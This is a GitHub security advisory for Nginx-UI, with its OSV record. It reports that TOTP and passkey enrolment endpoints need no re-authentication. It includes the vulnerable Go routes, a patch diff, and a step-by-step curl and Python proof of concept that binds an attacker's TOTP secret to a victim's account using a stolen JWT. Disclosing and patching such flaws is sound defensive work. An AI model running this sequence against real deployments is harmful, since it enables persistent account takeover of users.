GHSA-GFRC-G87H-7H5W
Vulnerability from github – Published: 2026-10-15 20:11 – Updated: 2026-10-15 20:11Summary
Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.
Details
api/user/router.go:34-39 — note the routes registered before the secure-session group:
r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession
o := r.Group("", middleware.RequireSecureSession())
{
o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent
...
}
EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):
if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
Secret string `json:"secret" binding:"required"`
Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)
FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.
Proof of Concept
JWT="<victim_jwt>"
# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
"url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084
# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
-d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
http://127.0.0.1:18080/api/otp_enroll
HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
"last_viewed":1778338236}
# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
"recovery_codes_generated":true,"recovery_codes_viewed":true}
Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.
The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.
Impact
- Persistent account takeover surviving the victim's password reset.
- Combines trivially with any of: stolen JWT, the
RequireSecureSessionbypass, the missing-role-model privilege escalation, and the weak recovery-code generation.
Patches
api/user/router.go — move enrolment routes inside the secure-session group:
- r.POST("/otp_enroll", EnrollTOTP)
- r.GET("/begin_passkey_register", BeginPasskeyRegistration)
- r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
o := r.Group("", middleware.RequireSecureSession())
{
+ o.POST("/otp_enroll", EnrollTOTP)
+ o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+ o.POST("/finish_passkey_register", FinishPasskeyRegistration)
o.GET("/otp_reset", ResetOTP)
...
}
This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/current_user.go).
Workarounds
None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.
Credits
Vishal Shukla (@shukla304) and Sechub.dev AI Agent.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.10-0.20260703131214-23d1934099b0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84313"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:11:32Z",
"nvd_published_at": "2026-10-12T21:17:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nEndpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim\u0027s account, surviving any subsequent password rotation and locking the legitimate user out.\n\n## Details\n\n`api/user/router.go:34-39` \u2014 note the routes registered *before* the secure-session group:\n\n```go\nr.GET(\"/otp_secret\", GenerateTOTP)\nr.POST(\"/otp_enroll\", EnrollTOTP) // \u2190 outside RequireSecureSession\nr.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\nr.POST(\"/finish_passkey_register\", FinishPasskeyRegistration) // \u2190 outside RequireSecureSession\n\no := r.Group(\"\", middleware.RequireSecureSession())\n{\n o.GET(\"/otp_reset\", ResetOTP) // reset *is* protected \u2014 inconsistent\n ...\n}\n```\n\n`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret \u2014 i.e., the attacker proves they know the secret they are submitting):\n\n```go\nif cUser.EnabledOTP() { ... abort ... }\nvar twoFA struct {\n Secret string `json:\"secret\" binding:\"required\"`\n Passcode string `json:\"passcode\" binding:\"required\"`\n}\nif !cosy.BindAndValid(c, \u0026twoFA) { return }\nif ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }\nciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))\nu.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)\n```\n\n`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* \"already enrolled\" guard \u2014 an attacker can register multiple passkeys to the victim.\n\n## Proof of Concept\n\n```bash\nJWT=\"\u003cvictim_jwt\u003e\"\n\n# Step 1 \u2014 request a fresh TOTP secret server-side (anyone with JWT can call):\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/otp_secret\n{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\n \"url\":\"otpauth://totp/Nginx%20UI:admin?...\u0026secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\"}\n\n# Step 2 \u2014 compute current 30-s TOTP code (attacker-side):\n$ python3 -c \"import base64,hmac,hashlib,struct,time\nkey=base64.b32decode(\u00275BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\u0027)\nctr=int(time.time())//30\nh=hmac.new(key, struct.pack(\u0027\u003eQ\u0027,ctr), hashlib.sha1).digest()\no=h[-1]\u00260xF; v=(struct.unpack(\u0027\u003eI\u0027,h[o:o+4])[0]\u00260x7fffffff)%1000000\nprint(f\u0027{v:06d}\u0027)\"\n954084\n\n# Step 3 \u2014 bind that secret to the victim\u0027s account:\n$ curl -i -X POST -H \"Authorization: $JWT\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\"passcode\":\"954084\"}\u0027 \\\n http://127.0.0.1:18080/api/otp_enroll\n\nHTTP/1.1 200 OK\n{\"message\":\"ok\",\"codes\":[{\"code\":\"c77d5-50543\"},{\"code\":\"f9284-688c6\"},...],\n \"last_viewed\":1778338236}\n\n# Step 4 \u2014 confirm 2FA is now enabled on the victim\u0027s account:\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/2fa_status\n{\"enabled\":true,\"otp_status\":true,\"passkey_status\":false,\n \"recovery_codes_generated\":true,\"recovery_codes_viewed\":true}\n```\n\nNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker\u0027s* authenticator.\n\nThe passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker\u0027s WebAuthn authenticator. The route is also outside `RequireSecureSession`.\n\n## Impact\n\n* Persistent account takeover surviving the victim\u0027s password reset.\n* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.\n\n## Patches\n\n`api/user/router.go` \u2014 move enrolment routes inside the secure-session group:\n\n```diff\n- r.POST(\"/otp_enroll\", EnrollTOTP)\n- r.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n- r.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n-\n o := r.Group(\"\", middleware.RequireSecureSession())\n {\n+ o.POST(\"/otp_enroll\", EnrollTOTP)\n+ o.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n+ o.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n o.GET(\"/otp_reset\", ResetOTP)\n ...\n }\n```\n\nThis patch alone is **not sufficient** \u2014 the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user\u0027s current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).\n\n## Workarounds\n\nNone reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.\n\n## Credits\n\nVishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.",
"id": "GHSA-gfrc-g87h-7h5w",
"modified": "2026-10-15T20:11:32Z",
"published": "2026-10-15T20:11:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84313"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.